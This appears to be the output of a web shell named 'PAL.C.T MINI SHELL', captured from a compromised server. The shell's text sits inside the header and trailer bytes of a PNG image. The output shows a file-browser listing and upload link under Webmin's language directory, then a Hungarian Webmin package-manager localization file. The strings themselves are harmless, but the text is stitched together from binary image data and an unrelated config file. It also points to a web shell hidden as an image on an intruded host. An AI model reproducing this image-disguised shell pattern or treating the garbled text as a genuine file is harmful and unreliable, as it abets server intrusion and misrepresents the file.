‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/hu.auto

index_all=Minden csomag
index_treturn=csomag fa
index_tree=Csomag fa
index_epackagecmd=A $1 csomagrendszerhez a $2 parancsra van szĂŒksĂ©g
index_eupdatecmd=A $1 frissĂ­tƑrendszerhez a $2 parancsra van szĂŒksĂ©g
index_epackagecheck=A kivĂĄlasztott csomagkezelƑ rendszer nem Ă©rvĂ©nyes: $1. <br>Lehet, hogy mĂĄsik rendszert kell vĂĄlasztania a<a href='$2'> modulkonfigurĂĄciĂł </a> oldalon.
index_eupdatecheck=A kivålasztott frissítési rendszer nem érvényes: $1. <br>Lehet, hogy måsik frissítési módszert kell vålasztania a<a href='$2'> modul konfiguråciója </a> oldalon.
index_echeckpackage=Nem észleltek csomagrendszert!
index_echeckupdate=Nem talålható frissítési rendszer!
index_filter=Csomagok szƱrése
index_filterclear=Törölje a szƱrƑt
index_filtered=<tt>$1</tt> csomagok megjelenĂ­tĂ©se a (z) <tt>$2</tt> közĂŒl

search_return=Keresési eredmények
search_esearch=Nem Ă­rt be semmit, amit keresne!
search_delete=TĂĄvolĂ­tsa el a kivĂĄlasztott csomagokat
search_selall=Mindet kivĂĄlaszt
search_invert=Fordított kijelölés

edit_listdesc=Mutassa meg a csomagban talĂĄlhatĂł összes fĂĄjlt Ă©s azok aktuĂĄlis ellenƑrzĂ©si ĂĄllapotĂĄt.
edit_uninstdesc=TĂĄvolĂ­tsa el ezt a csomagot a rendszerĂ©bƑl.
edit_egone=A csomag mĂĄr nincs telepĂ­tve

list_ok=rendben
list_view=(KilĂĄtĂĄs)
list_eview=A (z) $1 megnyitĂĄsa nem sikerĂŒlt : $2 

delete_rusure2=Biztosan törli a (z) $1 csomagot?
delete_nodeps=Nem veszi figyelembe a fĂŒggƑsĂ©geket?
delete_noscripts=Kihagyja az eltĂĄvolĂ­tĂł szkripteket?
delete_efile=ÉrvĂ©nytelen törölni kĂ­vĂĄnt ideiglenes fĂĄjl
delete_purge=MegtisztĂ­tja a konfigurĂĄciĂłs fĂĄjlokat?
delete_depstoo=EltĂĄvolĂ­totta a fel nem hasznĂĄlt fĂŒggƑsĂ©geket is?

install_eupdate=Nincs megadva telepíthetƑ csomag

pkgadd_manager=System V csomagkezelƑ

rpm_notriggers=Futtassa az aktivĂĄlt szkripteket?
rpm_ignoresize=EllenƑrizze a fĂĄjlrendszer mĂ©retĂ©t?
rpm_search=Keressen rpmfind.net webhelyre:
rpm_none=Nem talĂĄlhatĂł a keresĂ©snek megfelelƑ csomag.
rpm_find=Keressen rpmfind.net ..
rpm_findrpm=A csomag fĂĄjlneve
rpm_finddistro=terjesztés
rpm_finddesc=LeĂ­rĂĄs

bsd_manager=$1 CsomagkezelƑ

slack_manager=Slackware csomagkezelƑ
slack_edir=Hiånyzó Slackware csomagok könyvtår $1 

debian_manager=Debian DPKG

log_install_package=TelepĂ­tett $1 csomag
log_install_apt_l=Telepített csomag (ok) $1 az APT-tƑl
log_install_apt=Telepítve: $2 csomag (ok) az APT-tƑl
log_install_yum_l=TelepĂ­tett csomag (ok) $1 a YUM-tĂłl
log_install_yum=TelepĂ­tve: $2 csomag (ok) a YUM-tĂłl
log_install_rhn_l=Telepített csomag (ok) $1 a Redhat Network-tƑl
log_install_rhn=Telepített $2 csomagot a Redhat Network-tƑl
log_check_apt_l=Frissített csomag (ok) $1 az APT-tƑl
log_check_apt=Frissített $2 csomag (ok) az APT-tƑl
log_delete=TĂĄvolĂ­tsa el a (z) $1 csomagot
log_deletes_l=Nem eltĂĄvolĂ­tott csomagok $1 
log_deletes=Nem eltĂĄvolĂ­tott $1 csomag
log_urpmi_update=FrissĂ­tve az elĂ©rhetƑ URPMI csomagokat
log_urpmi_upgrade=FrissĂ­tett telepĂ­tett URPMI csomagok
log_upgrade_yum_l=FrissĂ­tett csomag (ok) $1 a YUM-tĂłl
log_upgrade_yum=FrissĂ­tve $2 csomag (ok) a YUM-tĂłl
log_check_rhn_l=A (z) $1 frissített csomag (ok) a Redhat Network-tƑl
log_check_rhn=Frissítve $2 csomag a (z) Redhat Network webhelyrƑl

rhn_input=Csomag a Redhat Network-tƑl
rhn_find=Keressen RHN ..
rhn_install=Csomagok telepítése a $1 paranccsal.
rhn_ok=.. telepítés kész.
rhn_failed=.. a telepítés sikertelen!
rhn_title=VĂĄlassza az RHN csomagot
rhn_pack=Csomag
rhn_version=VĂĄltozat
rhn_form=Redhat hĂĄlĂłzati beĂĄllĂ­tĂĄsok
rhn_header=Automatikus csomagfrissĂ­tĂ©si lehetƑsĂ©gek
rhn_auto=Automatikus frissítések keresése?
rhn_interval=EllenƑrzĂ©si intervallum
rhn_secs=percek
rhn_apply=Mentés és alkalmazås
rhn_now=MentĂ©s Ă©s ellenƑrzĂ©s most
rhn_err=Nem sikerĂŒlt menteni az RHN opciĂłkat
rhn_einterval=Hiånyzó vagy érvénytelen intervallum
rhn_einterval2=Az ellenƑrzĂ©si idƑköznek legalĂĄbb 120 mĂĄsodpercnek kell lennie
rhn_check=Frissítések keresése
rhn_checkdesc=A (z) $1 paranccsal frissĂ­tett csomagok ellenƑrzĂ©se a Redhat hĂĄlĂłzatbĂłl.
rhn_nocheck=.. nem frissĂ­tett csomag.
rhn_proxy=Proxy szerver URL-je letöltésre
rhn_none=Tiltva
rhn_eproxy=Hiånyzik vagy érvénytelen proxyszerver
rhn_skip=Hagyja ki a megfelelƑ csomagokat
rhn_nonefound=Nincs elĂ©rhetƑ csomag frissĂ­tĂ©sre.
rhn_name=Redhat Network

apt_input=Csomag az APT-tƑl
apt_install=Csomagok telepítése a $1 paranccsal.
apt_ok=.. telepítés kész.
apt_failed=.. a telepítés sikertelen!
apt_form=Frissítse az összes csomagot
apt_header=APT csomag frissĂ­tĂ©si lehetƑsĂ©gek
apt_update=Újra szinkronizĂĄlja a csomaglistĂĄt (<tt>frissĂ­tĂ©s</tt>)
apt_mode=Frissítési mód
apt_mode2=DisztribĂșciĂłs frissĂ­tĂ©s (<tt>upgrade-dist</tt>)
apt_mode1=Normål frissítés
apt_mode0=Ne frissĂ­tsen
apt_sim=Csak azt jelölje meg, melyik csomagot frissítik
apt_apply=FrissĂ­ts most
apt_upgrade=Frissítse az összes csomagot
apt_updatedesc=A csomaglista ĂșjraszinkronizĂĄlĂĄsa a $1 paranccsal.
apt_updatefailed=.. az ĂșjraszinkronizĂĄlĂĄs sikertelen!
apt_updateok=.. az ĂșjraszinkronizĂĄlĂĄs befejezƑdött.
apt_upgradedesc=Az összes csomag frissítése a $1 paranccsal.
apt_upgradedescsim=Az összes csomag frissítésének szimulålåsa a $1 paranccsal.
apt_upgradefailed=.. a frissítés sikertelen!
apt_upgradeok=.. frissítés kész.
apt_search=Keressen megfelelƑ csomagokat :
apt_find=Keresés APT ..
apt_title=Keresés az APT-ben
apt_name=APT
apt_repo_url=Lerakat alap URL
apt_repo_path=ElosztĂĄsi Ășt összetevƑi
apt_repo_eurl=HiĂĄnyzĂł vagy Ă©rvĂ©nytelen kĂŒlsƑ URL
apt_repo_epath=HiĂĄnyzĂł terjesztĂ©si Ășt

yum_input=Csomag a YUM-tĂłl
yum_install=Csomagok telepítése a $1 paranccsal.
yum_ok=.. telepítés kész.
yum_failed=.. a telepítés sikertelen!
yum_find=Keresse meg a YUM ..
yum_package=Csomag
yum_version=VĂĄltozat
yum_arch=ÉpĂ­tĂ©szet
yum_source=ForrĂĄs
yum_form=Frissítse az összes csomagot
yum_apply=FrissĂ­tse az összes telepĂ­tƑcsomagot a YUM-tĂłl
yum_upgrade=Frissítse az összes csomagot
yum_upgradedesc=Az összes csomag frissítése a $1 paranccsal.
yum_upgradefailed=.. a frissítés sikertelen!
yum_upgradeok=.. frissítés kész.
yum_title=Keresse meg a YUM oldalt
yum_name=YUM
yum_enable=Repository engedélyezése:
yum_none=&lt;Nincs&gt;
yum_repo_id=Lerakat azonosĂ­tĂłja
yum_repo_name=Lerakat leĂ­rĂĄsa
yum_repo_url=Csomag alap URL
yum_repo_gpg=GPG tanĂșsĂ­tvĂĄny fĂĄjl
yum_repo_none=Nincs alĂĄĂ­rva
yum_repo_eid=Hiånyzó vagy érvénytelen lerakat-azonosító - csak betƱk és szåmok engedélyezettek
yum_repo_eidclash=A lerakat-azonosĂ­tĂł mĂĄr hasznĂĄlatban van
yum_repo_ename=HiĂĄnyzik a lerakat neve
yum_repo_eurl=Hiånyzó vagy érvénytelen tåroló URL
yum_repo_egpg=GPG tanĂșsĂ­tĂł fĂĄjl hiĂĄnyzik vagy nem lĂ©tezik
yum_repo_efile=A lerakatfåjl mår létezik!

urpmi_name=urpmi
urpmi_input=Csomag az URPMI-tƑl
urpmi_find=Keresse meg az URPMI-t ..
urpmi_form=Frissítse az összes csomagot
urpmi_update=FrissĂ­tse az elĂ©rhetƑ URPMI csomagokat
urpmi_upgrade=FrissĂ­tse a telepĂ­tett URPMI csomagokat a legĂșjabb verziĂłkra
urpmi_title_update=A rendelkezésre ålló csomagok frissítése
urpmi_title_upgrade=Telepített csomagok frissítése
urpmi_updatedesc=$1 futĂł parancs
uprmi_upgradefailed=.. nem sikerĂŒlt!
urpmi_upgradeok=.. teljes.
urpmi_install=Csomagok telepítése a $1 paranccsal.
urpmi_ok=.. telepítés kész.
urpmi_failed=.. a telepítés sikertelen!

rpm_missing=HiĂĄnyzĂł
rpm_checkfail=Nem sikerĂŒlt $1 ellenƑrzĂ©s
rpm_md5=MD5
rpm_fsize=fåjl méret
rpm_sym=symlink
rpm_mtime=módosítási idƑ
rpm_dev=eszköz
rpm_user=felhasznĂĄlĂłi tulajdon
rpm_perm=jogosultsĂĄgok
rpm_group=csoporttulajdon
rpm_erpm=RPM $1 nem talĂĄlhatĂł : $2 

soft_reg=NormĂĄl fĂĄjl
soft_dir=Könyvtår
soft_spec=KĂŒlönleges fĂĄjl
soft_sym=Szimbolikus link
soft_hard=Hard Link
soft_edit=SzerkeszthetƑ fájl
soft_efunc=Nem sikerĂŒlt betölteni a $1 csomagrendszer funkciĂłit.
soft_euncompress=A fåjl tömörítve van, de a <tt>kicsomagolås</tt> parancs a rendszerben nem talålható.
soft_euncmsg=A fĂĄjl kibontĂĄsa nem sikerĂŒlt : $1 
soft_egzip=A fĂĄjl gzippelve van, de a gzip parancs nem talĂĄlhatĂł a rendszeren.
soft_egzmsg=Nem sikerĂŒlt feladni a fĂĄjlt : $1 

aix_unknown=Ismeretlen
aix_device=INPUT eszköz / könyvtår a szoftverhez
aix_software=SZOFTVER telepítéséhez
aix_preview=Csak elƑnĂ©zeti? (a telepĂ­tĂ©s nem törtĂ©nik meg)
aix_commit=COMMIT szoftverfrissítések?
aix_save=MENTÉS fájlokat?
aix_auto=AUTOMATIKUSAN telepĂ­tse a szĂŒksĂ©ges szoftvert?
aix_extend=EXTEND fĂĄjlrendszerek, ha helyre van szĂŒksĂ©g?
aix_overwrite=TĂșlĂ­rja ugyanazt vagy Ășjabb verziĂłt?
aix_verify=ELLENƐRIZNI a fĂĄjlmĂ©ret telepĂ­tĂ©sĂ©t Ă©s ellenƑrzĂ©sĂ©t?
aix_include=Tartalmazza a megfelelƑ LANGUAGE fĂĄjlkĂ©szleteket?
aix_detail=RÉSZLETES kimenet?
aix_process=Több kötet feldolgozåsa?
aix_accept=ELFOGADJA az Ășj licencszerzƑdĂ©seket?
aix_license=Az Ășj LICENSE-megĂĄllapodĂĄsok elƑnĂ©zete?
aix_clean=A tisztítåsi telepítés hibåja?
aix_manager=AIX csomagkezelƑ

emerge_input=A Portage tĂĄrolĂłbĂłl
emerge_find=Keresés ..
emerge_install=Csomag telepítése a $1 paranccsal.
emerge_failed=.. a telepítés sikertelen!
emerge_ok=.. telepítés kész.
emerge_search=Csomag keresése:
emerge_pack=Csomag
emerge_class=OsztĂĄly
emerge_version=VĂĄltozat
emerge_desc=LeĂ­rĂĄs
emerge_none=Egyik csomag sem felel meg a keresésnek.
emerge_noreplace=CserĂ©lje a meglĂ©vƑ csomagokat?
emerge_onlydeps=Csak fĂŒggƑsĂ©geket telepĂ­t?
emerge_title=Keresés a Portage-ban
emerge_name=fuvarozĂĄs

cygwin_fmissing=A fĂĄjl hiĂĄnyzik
cygwin_lmissing=HiĂĄnyzik a linkre mutatĂł fĂĄjl
cygwin_estat=Nem sikerĂŒlt a stat fĂĄjl: $1 
cygwin_elread=Nem sikerĂŒlt olvasni a szimbĂłlumot: $1 
cygwin_elstat=Nem sikerĂŒlt lĂ©trehozni a hivatkozĂĄs: $1 
cygwin_badpostscript=Figyelem: Ez a szkript nem tƱnik futtatottnak
cygwin_pkgexists=A $1 csomag mår létezik.
cygwin_warnuse=Figyelem: Ez nem egy hivatalos felĂŒlet a Cygwin szoftver kezelĂ©sĂ©hez. HasznĂĄlat csak sajĂĄt felelƑssĂ©gre.
cygwin_edb=HiĂĄnyzĂł Cygwin csomag adatbĂĄzis $1 

deletes_err=Nem sikerĂŒlt a csomagok törlĂ©se
deletes_enone=Nincs kivĂĄlasztva csomag
deletes_title=Törölje a csomagokat
deletes_desc=$1 csomagok eltĂĄvolĂ­tĂĄsa ..
deletes_failed1=A (z) $1 eltĂĄvolĂ­tĂĄsa nem sikerĂŒlt : $2 
deletes_success1=$1 sikeres eltĂĄvolĂ­tĂĄsa
deletes_failed2=Az eltĂĄvolĂ­tĂĄs sikertelen : $1 
deletes_success2=.. az eltĂĄvolĂ­tĂĄs befejezƑdött.
deletes_rusure=Biztosan eltĂĄvolĂ­tani akarja a (z) $1 csomagokat?
deletes_ok=Törölje Ƒket

csw_input=Csomag a CSW-tƑl
csw_install=Csomagok telepítése a $1 paranccsal.
csw_ok=.. telepítés kész.
csw_failed=.. a telepítés sikertelen!
csw_already=.. mĂĄr telepĂ­tve van.
csw_retry=.. prĂłbĂĄlkozzon Ășj fĂŒggƑsĂ©gekkel.
csw_find=Böngészés a CSW-ben ..
csw_package=Csomag
csw_version=VĂĄltozat
csw_title=Böngészés a CSW-n
csw_name=CSW
csw_form=Frissítési csomagok
csw_upgrade=Frissítse az összes telepített csomagot
csw_updatedesc=Az összes telepített csomag frissítése a $1 paranccsal.

missing_msg=A $1 csomagot a Webmin automatikusan telepĂ­theti a $2 hasznĂĄlatĂĄval.
missing_now=Telepítés most

find_title=Csomag keresése
find_search=Keressen megfelelƑ csomagokat:
find_name=Név
find_version=VĂĄltozat
find_desc=LeĂ­rĂĄs
find_none=Nem talĂĄlhatĂł a keresĂ©snek megfelelƑ csomag.

msi_users=Tegye elĂ©rhetƑvĂ© az Ășj alkalmazĂĄst a
msi_users0=Senki
msi_users1=Jelenlegi felhasznĂĄlĂł
msi_users2=Minden felhasznĂĄlĂł
msi_missing=Nem létezik
msi_size=Rossz méret

hpux_create_target_path=Hozzon lĂ©tre cĂ©lĂștvonalat?
hpux_mount_all_filesystems=Összes fájlrendszert csatlakoztatni?
hpux_reinstall=Reinstall?
hpux_reinstall_files=TelepĂ­tse Ășjra a fĂĄjlokat?
hpux_reinstall_files_use_cksum=A fĂĄjlok ĂșjratelepĂ­tĂ©se ellenƑrzƑ összeget hasznĂĄl?
hpux_allow_multiple_versions=Engedélyezi a több verziót?
hpux_defer_configure=Elhalasztja a konfigurĂĄlĂĄst?
hpux_autorecover_product=Autorecover termék?
hpux_allow_downdate=EngedĂ©lyezi a lejĂĄrati idƑt?
hpux_allow_incompatible=Engedélyezi az inkompatibilitåst?
hpux_autoselect_dependencies=Autoselect fĂŒggƑsĂ©gek?
hpux_enforce_dependencies=A fĂŒggƑsĂ©geket Ă©rvĂ©nyesĂ­teni?
hpux_enforce_scripts=A szkriptek végrehajtåsa?
hpux_enforce_dsa=A lemezterĂŒlet-elemzĂ©s vĂ©grehajtĂĄsa?
hpux_root=Gyökérkönyvtår

ports_install=A (z) $1 FreeBSD portok telepítése ..
ports_failed=.. nĂ©hĂĄny port meghiĂșsult
ports_ok=.. telepítés kész
ports_input=Csomag kikötƑkbƑl
ports_find=Keresési portok
ports_name=FreeBSD portok
ports_form=FrissĂ­tse a portok adatbĂĄzisĂĄt
ports_apply=Töltse le a legĂșjabb pillanatfelvĂ©telt
ports_upgrade=Portok pillanatképének letöltése
ports_running=$1 futĂł parancs

pkg_install=A (z) $1 FreeBSD csomagok telepítése ..
pkg_failed=.. nĂ©hĂĄny csomag meghiĂșsult
pkg_ok=.. telepítés kész
pkg_find=Keresés pkgng
pkg_input=Csomag a pkgng-tƑl

pkgsrc_install=A $1 pkgsrc csomagok telepítése ..
pkgsrc_failed=.. nĂ©hĂĄny csomag meghiĂșsult
pkgsrc_ok=.. telepítés kész
pkgsrc_find=Keresés pkgng
pkgsrc_input=Csomag a pkgsrc-tƑl

log_IPKG_update=FrissĂ­tett IPKG adatbĂĄzis
log_IPKG_upgrade=FrissĂ­tett telepĂ­tett IPKG csomagok

IPKG_name=ipkg
IPKG_input=Csomag az IPKG-tƑl
IPKG_find=Böngészés az IPKG-n ..
IPKG_form=Kezelje az IPKG csomagokat
IPKG_update=FrissĂ­tse az IPKG csomag adatbĂĄzisĂĄt
IPKG_upgrade=FrissĂ­tse a telepĂ­tett IPKG csomagokat
IPKG_title_update=Az IPKG adatbåzis frissítése
IPKG_title_upgrade=Telepített csomagok frissítése
IPKG_updatedesc=$1 futĂł parancs
IPKG_upgradefailed=.. nem sikerĂŒlt!
IPKG_upgradeok=.. teljes.
IPKG_install=Csomagok telepítése a $1 paranccsal.
IPKG_ok=.. telepítés kész.
IPKG_failed=.. a telepítés sikertelen!
IPKG_index_tree=Kezelje az IPKG csomagokat
IPKG_install_package=Telepítés
IPKG_install_packagedesc=Telepítse ezt a csomagot a rendszerére
IPKG_noupgrade=Nincs mit frissĂ­teni
IPKG-edit_title=Kezelje az IPKG csomagot
IPKG_update_avail=A rendelkezésre ålló frissítés:
IPKG_not_installed=A csomag nincs telepĂ­tve
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚